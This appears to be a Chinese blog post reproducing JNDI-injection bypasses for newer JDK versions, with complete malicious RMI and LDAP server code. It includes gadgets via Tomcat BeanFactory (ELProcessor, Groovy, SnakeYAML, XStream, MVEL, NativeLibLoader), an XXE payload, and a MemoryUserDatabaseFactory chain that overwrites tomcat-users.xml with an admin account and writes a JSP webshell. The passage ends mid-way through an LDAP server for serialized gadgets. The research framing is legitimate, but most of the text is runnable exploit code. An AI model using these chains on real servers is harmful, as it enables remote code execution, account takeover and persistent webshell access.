java高版本下各种JNDI Bypass方法复现

目录

0 前言

利用JNDI进行攻击,是Java中常用的手段,但高版本JDK在RMI和LDAP的trustURLCodebase都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。但依然有绕过方法,而最近浅蓝师傅的文章公布了一些新的bypass路线,正好快放假了,学习和研究一下。

1 Java高版本JNDI绕过的源代码分析

使用marshalsec开启rmi服务端

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8090/#ExecTest

使用python开启恶意class文件下载服务端

py -3 -m http.server 8090

jdk 1.8u40下发起RMI请求

java高版本下各种JNDI Bypass方法复现

将java版本修改为1.8u191

java高版本下各种JNDI Bypass方法复现

直接被阻拦,需要手动设置com.sun.jndi.rmi.object.trustURLCodebase=true

先给个图说一下JNDI的过程究竟在干嘛

java高版本下各种JNDI Bypass方法复现

过程大抵就是这样,高版本的阻断在于步骤4,所以先直接说绕过思路:

  • 思路一,受害者向LDAP或RMI服务器请求Reference类后,将从服务器下载字节流进行反序列化获得Reference对象,此时即可利用反序列化gadget实现RCE
  • 思路二,执行步骤3时,利用受害者本地的工厂类实现RCE

说完结论,再来看一下高版本和低版本Java的关键不同点。

1.1 思路一的源码分析

调试走到NamingManager.lookup(Name var1)方法,其源代码如下:

public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0));  // 下载Reference的包裹类ReferenceWrapper
        } catch (NotBoundException var4) {
            throw new NameNotFoundException(var1.get(0));
        } catch (RemoteException var5) {
            throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
        }

        return this.decodeObject(var2, var1.getPrefix(1));
    }
}

跟进lookup方法

java高版本下各种JNDI Bypass方法复现

var2中的ip和端口是我们指定的rmi服务器地址,执行var2.getInputStream方法后,获得ObjectInput对象var4,再调用var4.readObject方法,这是典型的Java原生反序列化过程,受害者存在可用的gadget时,我们就可以利用这个点实现高版本JNDI的RCE。

1.2 思路二的源码分析

前面的1.8u40时实现jndi攻击后,显示了调用链,跟着调试后进入到NamingManager.getObjectFactoryFromReference方法中,代码如下

java高版本下各种JNDI Bypass方法复现

可以看到,从ref中获取codebase后,调用helper对象的loadClass方法从远程下载了ExecTest这个恶意类对象,然后调用了newInstance方法,触发恶意代码。而ref对象实际上是Reference类,该类是从rmi服务器或ldap服务器下载而来。

从对比1.8u40和1.8u191来看,NamingManager.getObjectFactoryFromReference方法是没有差别的,都先调用helper.loadClass(String factoryName)尝试加载本地的工厂类,出错或找不到指定的工厂类后,再调用helper.loadClass(String className, String codebase)尝试加载远程的工厂类。

这里的helper对象实际上是com.sun.naming.internal.VersionHelper12的实例对象,如下图所示。

java高版本下各种JNDI Bypass方法复现

却别就在于VersionHelper12,首先跟进1.8u40VersionHelper12的loadClass(String className)方法,源代码如下

1.8u40下VersionHelper12
    
public Class<?> loadClass(String className) throws ClassNotFoundException {
        return loadClass(className, getContextClassLoader());  // 调用中间的loadClass方法
    }

    /**
     * Package private.
     *
     * This internal method is used with Thread Context Class Loader (TCCL),
     * please don't expose this method as public.
     */
Class<?> loadClass(String className, ClassLoader cl)
    throws ClassNotFoundException {
    Class<?> cls = Class.forName(className, true, cl);
    return cls;
}

/**
     * @param className A non-null fully qualified class name.
     * @param codebase A non-null, space-separated list of URL strings.
     */
public Class<?> loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {

    ClassLoader parent = getContextClassLoader();
    ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);  // 注意是URLClassLoader

    return loadClass(className, cl);  // 调用中间的loadClass方法
}
  • 第一个loadClass(String className),以为着通过getContextClassLoader获取本地ClassLoader,传入中间的loadClass(String className, ClassLoader cl)方法后,再通过反射,从本地寻找工厂类
  • 第三个loadClass(String className, String codebase)方法,则创建一个URLClassLoader,传入中间的loadClass方法后,通过反射,会从远程下载工厂类

下面再跟进一下1.8u191版本的VersionHelper12

1.8u191下的VersionHelper12
public Class<?> loadClass(String className) throws ClassNotFoundException {
    return loadClass(className, getContextClassLoader());  // 调用中间的loadClass方法,从本地获取
}

Class<?> loadClass(String className, ClassLoader cl)
    throws ClassNotFoundException {
    Class<?> cls = Class.forName(className, true, cl);
    return cls;
}

/**
     * @param className A non-null fully qualified class name.
     * @param codebase A non-null, space-separated list of URL strings.
     */
public Class<?> loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {
    if ("true".equalsIgnoreCase(trustURLCodebase)) {   // 注意这里先进行了是否为可信URL地址的判断!!
        ClassLoader parent = getContextClassLoader();
        ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);   // URLClassLoader

        return loadClass(className, cl);   // 调用中间的loadClass方法,从远程获取
    } else {
        return null;
    }
}

区别明显在于从远程下载时会验证URL是否可信,但并没有对本地加载工厂类进行限制。所以绕过思路之一,就在于利用本地工厂类实现RCE。

2 基于本地工厂类的利用方法

从本地工厂类实现RCE还有一个具体要求,在NamingManager.getObjectInstance中,成功得到工厂类factory后,会调用factory.getObjectInstance(ref, name, nameCtx,environment)方法,创建JNDI客户端真正需要的实例对象

java高版本下各种JNDI Bypass方法复现

也就是说,我们需要找到合适的ObjectFactory类,要求它还实现了getObjectInstance方法,并且能够实现RCE,好在网上各位大神给出了很多答案。

需要指出的是,ref是攻击者返回的Reference对象、name是攻击者指定的目录名(uri部分)、nameCtx则是攻击者LDAP地址的解析(IP、端口等)。

2.1 org.apache.naming.factory.BeanFactory

该类只有一个方法getObjectInstance,但根据需要对源代码进行了简化

需要指出的是,ref是攻击者返回的Reference对象、name是攻击者指定的类名(uri部分)、nameCtx则是攻击者LDAP地址的解析(IP、端口等)。

public class BeanFactory implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException {
        if (obj instanceof ResourceRef) {
            try {

                Reference ref = (Reference) obj;
                String beanClassName = ref.getClassName();
                Class<?> beanClass = null;
                ClassLoader tcl =
                    Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch(ClassNotFoundException e) {
                    }
                } else {}

                BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();
                Object bean = beanClass.getConstructor().newInstance(); // 实例化对象,需要无参构造函数!!

				// 从Reference中获取forceString参数
                RefAddr ra = ref.get("forceString");
                Map<String, Method> forced = new HashMap<>();
                String value;
				// 对forceString参数进行分割
                if (ra != null) {
                    value = (String)ra.getContent();
                    Class<?> paramTypes[] = new Class[1];
                    paramTypes[0] = String.class;
                    String setterName;
                    int index;

                    /* Items are given as comma separated list */
                    for (String param: value.split(",")) {  // 使用逗号分割参数
                        param = param.trim();
                        index = param.indexOf('=');
                        if (index >= 0) {
                            setterName = param.substring(index + 1).trim();  // 等号后面强制设置为setter方法名
                            param = param.substring(0, index).trim();  // 等号前面为属性名
                        } else {}
                        try {
                            // 根据setter方法名获取setter方法,指定forceString后就是我们指定的方法,但注意参数是String类型!
                            forced.put(param, beanClass.getMethod(setterName, paramTypes));  
                        } catch (NoSuchMethodException|SecurityException ex) {
                            throw new NamingException
                                ("Forced String setter " + setterName +
                                 " not found for property " + param);
                        }
                    }
                }

                Enumeration<RefAddr> e = ref.getAll();

                while (e.hasMoreElements()) {  // 遍历Reference中的所有RefAddr
                    ra = e.nextElement();
                    String propName = ra.getType();  // 获取属性名
					// 过滤一些特殊的属性名,例如前面的forceString
                    if (propName.equals(Constants.FACTORY) ||
                        propName.equals("scope") || propName.equals("auth") ||
                        propName.equals("forceString") ||
                        propName.equals("singleton")) {
                        continue;
                    }

                    value = (String)ra.getContent();  // 属性名对应的参数
                    Object[] valueArray = new Object[1];

                    /* Shortcut for properties with explicitly configured setter */
                    Method method = forced.get(propName);  // 根据属性名获取对应的方法
                    if (method != null) {
                        valueArray[0] = value;
                        try {
                            method.invoke(bean, valueArray);  // 执行方法,可用用forceString强制指定某个函数
                        } catch () {}
                        continue;
                    }
		// 省略
    }
} 	

根据源代码的逻辑,我们可用得到这样几个信息,在ldap或rmi服务器端,我们可用设定几个特殊的RefAddr,

  • 该类必须有无参构造方法

  • 并在其中设置一个forceString字段指定某个特殊方法名该方法执行String类型的参数

  • 通过上面的方法和一个String参数即可实现RCE

2.1.1 javax.el.ELProcessor.eval

恰好有javax.el.ELProcessor满足该条件!

Server端设置如下

pom.xml

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jasper</artifactId>
    <version>9.0.8</version>
</dependency>

server端代码如下

package com.bitterz.jndiBypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class TomcatBeanFactoryServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
        ref.add(new StringRefAddr("forceString", "bitterz=eval"));

        // 指定bitterz属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令
        ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);  // 绑定目录名
        System.out.println("Server Started!");
    }
}

客户端执行请求

java高版本下各种JNDI Bypass方法复现

2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)

groovy中同样存在基于一个String参数触发的方法

pom.xml

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-all</artifactId>
    <version>2.4.9</version>
</dependency>

GroovyShellServer.java

package com.bitterz.jndiBypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import groovy.lang.GroovyClassLoader;


public class GroovyShellServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=parseClass"));
        String script = "@groovy.transform.ASTTest(value={\n" +
                "    assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
                "})\n" +
                "def x\n";
        ref.add(new StringRefAddr("x",script));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("evilGroovy", referenceWrapper);
    }
}

受害端发起rmi请求,java版本1.8u191

java高版本下各种JNDI Bypass方法复现

2.1.3 javax.management.loading.MLet 探测类是否存在

浅蓝大师傅又公开了一些其它可利用的类,首先时javax.management.loading.MLet这个类,通过其loadClass方法可以探测目标是否存在某个可利用类(例如java原生反序列化的gadget)

由于javax.management.loading.MLet继承自URLClassLoader,其addURL方法会访问远程服务器,而loadClass方法可以检测目标是否存在某个类,因此可以结合使用,检测某个类是否存在

java高版本下各种JNDI Bypass方法复现

上面出现404,则说明前面对ELProcessor类的加载成功了。

java高版本下各种JNDI Bypass方法复现

当loadClass需要加载的类不存在时,则会直接报错,不进入远程类的访问,因此http端收不到GET请求

2.1.4 org.yaml.snakeyaml.Yaml().load(String)

Yaml是做反序列化的,当然也可以实现RCE,通过其反序列化过程即可实现,payload也比较多

这里还需要对SPI机制有一定的了解,先直接给我如何实现恶意jar包的吧

创建一个恶意类,实现ScriptEngineFactory接口

java高版本下各种JNDI Bypass方法复现

然后在resources目录下创建META-INF/services/javax.script.ScriptEngineFactory文件,里面的内容设置为前面的恶意类名

java高版本下各种JNDI Bypass方法复现

打包编译后,开启http服务,运行RMI恶意服务端,执行lookup,效果如下

java高版本下各种JNDI Bypass方法复现

2.1.5 com.thoughtworks.xstream.XStream.fromXML

复现失败了,单纯用xstream.fromXML(payload)也没有成功,可能是环境问题。。。。


ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
                                  true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
    "  <unserializable-parents/>\n" +
    "  <java.util.PriorityQueue>\n" +
    "    <default>\n" +
    "      <size>2</size>\n" +
    "    </default>\n" +
    "    <int>3</int>\n" +
    "    <dynamic-proxy>\n" +
    "      <interface>java.lang.Comparable</interface>\n" +
    "      <handler class='sun.tracing.NullProvider'>\n" +
    "        <active>true</active>\n" +
    "        <providerType>java.lang.Comparable</providerType>\n" +
    "        <probes>\n" +
    "          <entry>\n" +
    "            <method>\n" +
    "              <class>java.lang.Comparable</class>\n" +
    "              <name>compareTo</name>\n" +
    "              <parameter-types>\n" +
    "                <class>java.lang.Object</class>\n" +
    "              </parameter-types>\n" +
    "            </method>\n" +
    "            <sun.tracing.dtrace.DTraceProbe>\n" +
    "              <proxy class='java.lang.Runtime'/>\n" +
    "              <implementing__method>\n" +
    "                <class>java.lang.Runtime</class>\n" +
    "                <name>exec</name>\n" +
    "                <parameter-types>\n" +
    "                  <class>java.lang.String</class>\n" +
    "                </parameter-types>\n" +
    "              </implementing__method>\n" +
    "            </sun.tracing.dtrace.DTraceProbe>\n" +
    "          </entry>\n" +
    "        </probes>\n" +
    "      </handler>\n" +
    "    </dynamic-proxy>\n" +
    "    <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" +
    "  </java.util.PriorityQueue>\n" +
    "</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));

2.1.6 org.mvel2.sh.ShellSession.exec()

<dependency>
    <groupId>org.mvel</groupId>
    <artifactId>mvel2</artifactId>
    <version>2.4.12.Final</version>
</dependency>

java高版本下各种JNDI Bypass方法复现

2.1.7 com.sun.glass.utils.NativeLibLoader

JDK内置的动态链接库加载工具类,使用其loadLibrary方法,执行链如下

NativeLibLoader.loadLibrary() -> NativeLibLoader.loadLibraryInternal() -> NativeLibLoader.loadLibraryFullPath()-> System.loadLibrary(libraryName);

dll代码如下

#include <stdio.h>

void __attribute__ ((constructor)) my_init_so()
{
	FILE *fd = popen("calc", "r");
}

使用gcc编译一个dll文件

gcc -m64 .\libcmd.cpp -fPIC --shared -o libcmd.dll

启动RMI Server,然后发起rmi请求,结果如下

java高版本下各种JNDI Bypass方法复现

public class NativeLibLoaderServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
        ref.add(new StringRefAddr("a", "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\\helloworld\\Desktop\\libcmd"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("dllLoader", referenceWrapper);
    }
}

注意这里的路径一定要用路径穿越,具体原因在于System.load前,对输出的路径与另一个路径进行了拼接,源代码就不贴了,调试即可见。

2.2 org.apache.catalina.users.MemoryUserDatabaseFactory

浅蓝师傅提到扫描发现org.apache.catalina.users.MemoryUserDatabaseFactory这个类也存在利用的可能性,并进步一步进行了研究。

该类的getObjectInstance方法,先获取pathname和readonly两个参数,并调用其setter方法,赋值完成后会调用org.apache.catalina.users.MemoryUserDatabase.open()方法,而后判断readonly=false,则调用save()方法

先看其open方法

java高版本下各种JNDI Bypass方法复现

从pathName获取url并发起请求,获得xml数据,而后调用digester对xml进行解析,所以这里可以实现XXE。

2.2.1 XXE

开启webserver,并放置一个恶意xml文件如下

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % romote SYSTEM "http://127.0.0.1:8888/RequestFromXXE"> %romote;]>
<root/>

当XXE成功时,会向http://127.0.0.1:8888/RequestFromXXE发起请求,因此图中可见exp.xml获取后,又向web server请求了/RequestFromXXE这个uri

java高版本下各种JNDI Bypass方法复现

2.2.2 RCE

前面是利用open方法执行过程进行XXE的,而open方法执行结束后,会执行到save方法中,注意在open方法执行过程中,我们必须设置pathname是一个URL,否则不会向下执行到save方法。还需要注意到前面XXE原理的代码图片中,进行XML解析前,会从xml中获取user、role、group,这里的值会在后面save方法中被写入文件。

在pathname必须是URL的前提下,跟进save方法

java高版本下各种JNDI Bypass方法复现

注意到先进行了一个isWriteable的判断,跟进该方法

java高版本下各种JNDI Bypass方法复现

这里pathname是一个URL,catelina_base=c:/xx/apache-tomcat-8/,这是令pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml, 则getParentFile()得到c:/xx/apache-tomcat-8/http:/127.0.0.1:8888/../../conf/,此时该路径在Windows下可以直接判定成功。但linux下必须要求目录跳转前的路径必须存在,也就是说需要先在tomcat目录下创建http:/http:/127.0.0.1:8888/这两个目录。

浅蓝师傅使用了org.h2.store.fs.FileUtils#createDirectory(String)结合BeanFactory进行创建,其代码如下:

private static ResourceRef tomcatMkdirFrist() {
    ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=createDirectory"));
    ref.add(new StringRefAddr("a", "../http:"));
    return ref;
}
private static ResourceRef tomcatMkdirLast() {
    ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=createDirectory"));
    ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
    return ref;
}

创建目录后,继续跟进save方法,如下

java高版本下各种JNDI Bypass方法复现

将从pathname下载的xml文件中的roles、groups和users写入文件中,并覆盖给Catalina.base+pathname的文件中。

写入文件的payload如下

Registry registry = LocateRegistry.createRegistry(1099);
// ===============================写入文件================================================

ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
                                  true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
// ===============================写入文件================================================

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);

首先是直接给tomcat写入tomcat-users.xml文件从而实现对tomcat的管理,Windows下不需要创建http:/127.0.0.1:8888/目录,在windows下执行效果如下

java高版本下各种JNDI Bypass方法复现

在linux下必须创建http:/127.0.0.1:8888/目录,然后再执行写文件的paylaod,效果如下

java高版本下各种JNDI Bypass方法复现

linux上复现时的步骤和坑:

  • 首先使用的rmiserver端代码如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserDataRCE_Server {
    public static void main(String[] args) throws Exception{

        Registry registry = LocateRegistry.createRegistry(1099);

        // ===============================1 创建http:/================================================
        // ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
        //         true, "org.apache.naming.factory.BeanFactory", null);
        // ref.add(new StringRefAddr("forceString", "a=createDirectory"));
        // ref.add(new StringRefAddr("a", "../http:"));

        // ===============================2 创建http:/127.0.0.1:8888/================================================
       // ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
       //         true, "org.apache.naming.factory.BeanFactory", null);
       // ref.add(new StringRefAddr("forceString", "a=createDirectory"));
       // ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));

        // ===============================3 写入文件================================================

       ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
               true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
       ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
       ref.add(new StringRefAddr("readonly", "false"));
        // ===============================写入文件================================================

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("writeFile", referenceWrapper);
    }
}

在tomcat中添加的jsp文件为:/webapps/test/1.jsp

<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<%

InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>

用到的tomcat-users.xml如下

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

  <role rolename="manager-gui"/>
  <role rolename="manager-script"/>
  <role rolename="manager-jmx"/>
  <role rolename="manager-status"/>
  <role rolename="admin-gui"/>
  <role rolename="admin-script"/>

  <user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
</tomcat-users>
  • 创建conf目录,放入tomcat-users.xml文件,注意在conf同级目录用python启动web server
  • 分三次注释代码,再编译和启动恶意rmi server端,用到的命令javac -cp tomcat-catalina-9.0.8.jar UserDataRCE_Server.java java -classpath tomcat-catalina-9.0.8.jar:. UserDataRCE_Server,依赖的tomcat-catalina-9.0.8.jar需要自己下载一下。每次启动rmiserver后,访问一次test/1.jsp,让tomcat执行相应的paylaod
  • tomcat端需要修改的地方有:给tomcat/lib下添加h2-2.1.210.jar,以便能够执行创建目录;给tomcat/webapps/host-manager/META-INF/context.xmltomcat/webapps/manager/META-INF/context.xml里修改为allow="^.*$",以便能够远程访问tomcat的管理界面

最后利用可以写入文件这个思路,直接可以向tomcat写入jsp webshell,需要用到代码和步骤如下

  • 创建webapps/ROOT/test.jsp,并在webapps目录下启动python web server
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/>
</tomcat-users>
  • 启动恶意rmi server端,代码如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserDataRCE_Server {
    public static void main(String[] args) throws Exception{

        Registry registry = LocateRegistry.createRegistry(1099);

        // ===============================写入webshell文件================================================
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
                true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
        ref.add(new StringRefAddr("readonly", "false"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("writeFile", referenceWrapper);
    }
}
  • 访问模拟的web jndi注入漏洞,/test/1.jsp,代码如下
<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<%

InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>
  • 访问webshell

java高版本下各种JNDI Bypass方法复现

3 基于服务端返回数据流的反序列化RCE

第2章里面都是rmi或ldap端返回一个恶意ref类,使得目标执行指定xxFactory.getObjectInstance()方法,该方法中具体的代码触发进一步利用。还有第二个jndi bypass思路,即通过ldap/rmi指定一个恶意FactoryObject下载服务器,让目标访问并下载一段恶意序列化数据,在目标反序列化时触发Java 原生反序列化漏洞。

以常见的CC链举例

  • ldap端和http端使用并修改https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java
package com.bitterz.jndiBypass;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;


public class serializationServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    ldap_port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + ldap_port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    public static class HttpFileHandler implements HttpHandler {
        public HttpFileHandler() {
        }

        public void handle(HttpExchange httpExchange) {
            try {
                System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
                String uri = httpExchange.getRequestURI().getPath();
                InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

                if (inputStream == null){
                    System.out.println("Not Found");
                    httpExchange.close();
                    return;
                }else{
                    while(inputStream.available() > 0) {
                        byteArrayOutputStream.write(inputStream.read());
                    }

                    byte[] bytes = byteArrayOutputStream.toByteArray();
                    httpExchange.sendResponseHeaders(200, (long)bytes.length);
                    httpExchange.getResponseBody().write(bytes);
                    httpExchange.close();
                }
            } catch (Exception var5) {
                var5.printStackTrace();
            }

        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            /** Payload1: Return Reference Factory **/
            // e.addAttribute("javaCodeBase", cbstring);
            // e.addAttribute("objectClass", "javaNamingReference");
            // e.addAttribute("javaFactory", this.codebase.getRef());
            /** Payload1 end **/

            /** Payload2: Return Serialized Gadget **/
            try {
                // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
